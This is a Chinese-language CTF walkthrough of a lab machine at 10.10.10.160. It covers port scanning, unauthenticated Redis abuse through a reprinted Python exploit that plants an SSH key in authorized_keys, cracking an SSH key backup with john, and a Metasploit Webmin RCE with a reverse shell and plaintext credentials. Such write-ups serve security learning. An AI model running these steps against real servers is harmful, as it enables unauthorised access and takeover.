image.png
nmap 扫描一波端口:nmap -A -Pn -T4 10.10.10.160
-Pn 将所有主机视作开启,跳过主机发现的过程 -A OS 识别,版本探测,脚本扫描和 traceroute -T (0-5)时间优化
image.png
去看一下,80 端口没什么东西, 10000,用 https 访问,有个登录界面,弱口令没得
image.png
扫描发现 6379 是开着的,(实在是太慢了,我就直接指定去扫了)
image.png
redis 未授权访问
apt install redis-server 安装 redis 客户端,然后 pip install termcolor 安装需要的库
使用:https://github.com/Avinash-acid/Redis-Server-Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import osimport os.pathfrom sys import argvfrom termcolor import coloredscript, ip_address, username = argv PATH='/usr/bin/redis-cli' PATH1='/usr/local/bin/redis-cli' def ssh_connection () : shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@" +ip_address os.system(shell) if os.path.isfile(PATH) or os.path.isfile(PATH1): try : print colored('\t*******************************************************************' , "green" ) print colored('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*' ,"green" ) print colored('\t* [+] AVINASH KUMAR THAPA aka "-Acid" ' , "green" ) print colored('\t*******************************************************************' , "green" ) print "\n" print colored("\t SSH Keys Need to be Generated" , 'blue' ) os.system('ssh-keygen -t rsa -C \"acid_creative\"' ) print colored("\t Keys Generated Successfully" , "blue" ) os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo \'\r\n\') > $HOME/.ssh/public_key.txt" ) cmd = "redis-cli -h " + ip_address + ' flushall' cmd1 = "redis-cli -h " + ip_address os.system(cmd) cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist' os.system(cmd2) cmd3 = cmd1 + ' config set dbfilename "backup.db" ' cmd4 = cmd1 + ' config set dir' + " /usr/lib/" +username+"/.ssh/" cmd5 = cmd1 + ' config set dbfilename "authorized_keys" ' cmd6 = cmd1 + ' save' os.system(cmd3) os.system(cmd4) os.system(cmd5) os.system(cmd6) print colored("\tYou'll get shell in sometime..Thanks for your patience" , "green" ) ssh_connection() except : print "Something went wrong" else : print colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further." , "red" )
关于 redis 核心利用点是,通过没有身份校验的 redis 服务进行登陆 ,同时指定 config dir 和 config dbfilename 的路径与名称 ,达到把本地公钥存储到远程服务器 上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell
python redis.py 10.10.10.160 redis
image.png
image.png
再 opt 目录下找到 id_rsa.bak
image.png
保存出来,用 john 破解一下
image.png
su Matt 切换一下账户,用破解出来得密码来登录,再 Matt 家目录下有 user.txt
image.png
同时,这个用户名和密码可以登录之前那个 10000 端口的 webmin 可以登录成功 可以用 msf 来攻击 msfconsole,打开 msf
image.png
使用: use exploit/linux/http/webmin_packageup_rce //选择 payload set rhosts 10.10.10.160 //设置攻击目标 set ssl true //使用 https set username Matt // 设置 username set password computer2008 //设置 password set lhost 10.10.14.18 //设置反弹 shell 的地址(本机 IP) exploit //执行攻击
image.png
在 /root/root.txt 中存在 root 级别的 flag
image.png
最后更新时间:2022-10-03 21:52:43